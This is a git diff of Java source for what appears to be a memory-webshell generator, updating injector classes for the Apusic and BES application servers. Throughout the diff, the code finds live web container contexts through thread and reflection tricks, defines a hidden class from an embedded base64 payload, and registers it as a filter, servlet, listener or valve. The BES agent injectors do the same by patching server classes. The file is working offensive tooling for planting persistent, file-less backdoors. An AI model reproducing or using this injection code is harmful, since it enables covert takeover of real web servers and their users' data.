b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index 7f910fa8..e4af7434 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -3,11 +3,13 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -17,17 +19,7 @@ */ public class ApusicFilterInjector { - public ApusicFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -41,6 +33,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public ApusicFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * context: com.apusic.web.container.WebContainer * context -> webapp: com.apusic.deploy.runtime.WebModule @@ -51,38 +82,56 @@ public List getContext() throws Exception { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { - contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + // Apusic 9.0 SPX + Object sessionManager = getFieldValue(thread, "this$0"); + contexts.add(getFieldValue(sessionManager, "container")); + } else if (thread.getName().contains("HTTPSession")) { + // Apusic 9.0.1 + Object sessionManager = getFieldValue(thread, "this$0"); + Map contextMap = ((Map) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts")); + contexts.addAll(contextMap.values()); } } return contexts; } - private ClassLoader getWebAppClassLoader(Object context) throws Exception { + private Object getShell(Object context) throws Exception { + // WebApp 类加载器,ServletContext 使用这个进行组件的类加载 + ClassLoader loader = (ClassLoader) getFieldValue(context, "loader"); + ClassLoader defineLoader; + Object obj; try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - return ((ClassLoader) getFieldValue(context, "loader")); + // Apusic 9.0 SPX,优先从当前 loader 进行加载 + defineShell(loader); + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = loader; + } catch (ClassNotFoundException e) { + // Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound + ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader"); + defineShell(internalLoader); + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = internalLoader; } + msg += "[" + defineLoader.getClass().getName() + "] "; + return obj; } @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); + private void defineShell(ClassLoader classLoader) throws Exception { try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } catch (Throwable ignored) { } } public void inject(Object context, Object filter) throws Exception { Object webModule = getFieldValue(context, "webapp"); if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter already injected"); return; } // addFilterMapping @@ -100,7 +149,11 @@ public void inject(Object context, Object filter) throws Exception { Class filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass(); Object filterMapper = getFieldValue(context, "filterMapper"); invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings}); - System.out.println("filter injected successful"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -155,7 +208,7 @@ public static Field getField(Object obj, String fieldName) throws NoSuchFieldExc clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(fieldName); + throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName()); } @SuppressWarnings("all") @@ -184,4 +237,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 986dbde5..6e5c9dfe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -3,10 +3,12 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -16,17 +18,7 @@ */ public class ApusicListenerInjector { - public ApusicListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -40,52 +32,109 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public ApusicListenerInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { - contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + // Apusic 9.0 SPX + Object sessionManager = getFieldValue(thread, "this$0"); + contexts.add(getFieldValue(sessionManager, "container")); + } else if (thread.getName().contains("HTTPSession")) { + // Apusic 9.0.1 + Object sessionManager = getFieldValue(thread, "this$0"); + Map contextMap = ((Map) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts")); + contexts.addAll(contextMap.values()); } } return contexts; } - private ClassLoader getWebAppClassLoader(Object context) throws Exception { + private Object getShell(Object context) throws Exception { + // WebApp 类加载器,ServletContext 使用这个进行组件的类加载 + ClassLoader loader = (ClassLoader) getFieldValue(context, "loader"); + ClassLoader defineLoader; + Object obj; try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - return ((ClassLoader) getFieldValue(context, "loader")); + // Apusic 9.0 SPX,优先从当前 loader 进行加载 + defineShell(loader); + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = loader; + } catch (ClassNotFoundException e) { + // Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound + ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader"); + defineShell(internalLoader); + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = internalLoader; } + msg += "[" + defineLoader.getClass().getName() + "] "; + return obj; } @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); + private void defineShell(ClassLoader classLoader) throws Exception { try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } catch (Throwable ignored) { } } public void inject(Object context, Object listener) throws Exception { Object webModule = getFieldValue(context, "webapp"); - String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null); - for (String name : listeners) { - if (getClassName().equals(name)) { - System.out.println("listener already injected"); - return; - } + if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) { + return; } - invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(context, "loadListeners", null, null); - System.out.println("listener injected successful"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -169,4 +218,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 3a8d271d..18c60883 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -3,10 +3,12 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -16,17 +18,7 @@ */ public class ApusicServletInjector { - public ApusicServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -40,36 +32,94 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public ApusicServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { - contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); + // Apusic 9.0 SPX + Object sessionManager = getFieldValue(thread, "this$0"); + contexts.add(getFieldValue(sessionManager, "container")); + } else if (thread.getName().contains("HTTPSession")) { + // Apusic 9.0.1 + Object sessionManager = getFieldValue(thread, "this$0"); + Map contextMap = ((Map) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts")); + contexts.addAll(contextMap.values()); } } return contexts; } - private ClassLoader getWebAppClassLoader(Object context) throws Exception { + private Object getShell(Object context) throws Exception { + // WebApp 类加载器,ServletContext 使用这个进行组件的类加载 + ClassLoader loader = (ClassLoader) getFieldValue(context, "loader"); + ClassLoader defineLoader; + Object obj; try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - return ((ClassLoader) getFieldValue(context, "loader")); + // Apusic 9.0 SPX,优先从当前 loader 进行加载 + defineShell(loader); + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = loader; + } catch (ClassNotFoundException e) { + // Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound + ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader"); + defineShell(internalLoader); + // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化) + obj = loader.loadClass(getClassName()).newInstance(); + defineLoader = internalLoader; } + msg += "[" + defineLoader.getClass().getName() + "] "; + return obj; } @SuppressWarnings("all") - private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); + private void defineShell(ClassLoader classLoader) throws Exception { try { - return classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } catch (Throwable ignored) { } } @@ -77,12 +127,15 @@ public void inject(Object context, Object servlet) throws Exception { Object webModule = getFieldValue(context, "webapp"); Object servletMapper = getFieldValue(context, "servletMapper"); if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("servlet already injected"); return; } invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}}); - System.out.println("servlet injected successful"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -166,4 +219,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java index a93597fc..1adf69cd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java @@ -42,7 +42,6 @@ private static void launch(Instrumentation inst) throws Exception { inst.retransformClasses(allLoadedClass); } } - System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke"); } @Override @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java index 9fe2eda3..cb9f6393 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java @@ -40,7 +40,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter"); } } } @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index cd595403..02359e18 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -4,30 +4,18 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; -import java.util.logging.Logger; import java.util.zip.GZIPInputStream; /** * @author ReaJason */ public class BesFilterInjector { - Logger log = Logger.getLogger(BesFilterInjector.class.getName()); - - public BesFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -41,6 +29,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public BesFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * com.bes.enterprise.webtier.core.DefaultContext * /opt/bes/lib/bes-engine.jar @@ -73,22 +100,23 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { String filterName = getClassName(); if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - log.warning("filter already exists"); return; } ClassLoader contextClassLoader = context.getClass().getClassLoader(); @@ -110,7 +138,11 @@ public void inject(Object context, Object filter) throws Exception { Object filterConfig = constructors[0].newInstance(context, filterDef); HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -194,4 +226,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index 2a8dffec..686e82e5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -14,6 +15,8 @@ */ public class BesListenerInjector { + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -23,15 +26,42 @@ public String getBase64String() throws IOException { } public BesListenerInjector() { + List contexts = null; try { - List contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public List getContext() throws Exception { @@ -62,15 +92,17 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") @@ -78,7 +110,6 @@ public void inject(Object context, Object listener) throws Exception { Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); for (Object eventListener : eventListeners) { if (eventListener.getClass().getName().equals(listener.getClass().getName())) { - System.out.println("listener already exists"); return; } } @@ -86,7 +117,11 @@ public void inject(Object context, Object listener) throws Exception { newListeners.add(listener); newListeners.addAll(Arrays.asList(eventListeners)); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()}); - System.out.println("listener added successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -135,7 +170,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -163,4 +198,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index 0fb33275..553e196c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ */ public class BesValveInjector { - public BesValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -33,6 +24,45 @@ public String getBase64String() { return "{{base64Str}}"; } + public BesValveInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -49,53 +79,42 @@ public List getContext() throws Exception { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { - try { - return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); - } catch (Exception e) { - Object loader = invokeMethod(context, "getLoader", null, null); - return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); - } - } - @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = getWebAppClassLoader(context); + ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; + for (Object v : valvesList) { + if (v.getClass().getName().contains(getClassName())) { + return; } } - return false; - } - - @SuppressWarnings("all") - public void inject(Object context, Object valve) throws Exception { - Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; - } Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve"); // com.bes.enterprise.webtier.core.DefaultPipeline invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); } + @Override + public String toString() { + return msg; + } + @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -142,7 +161,7 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } 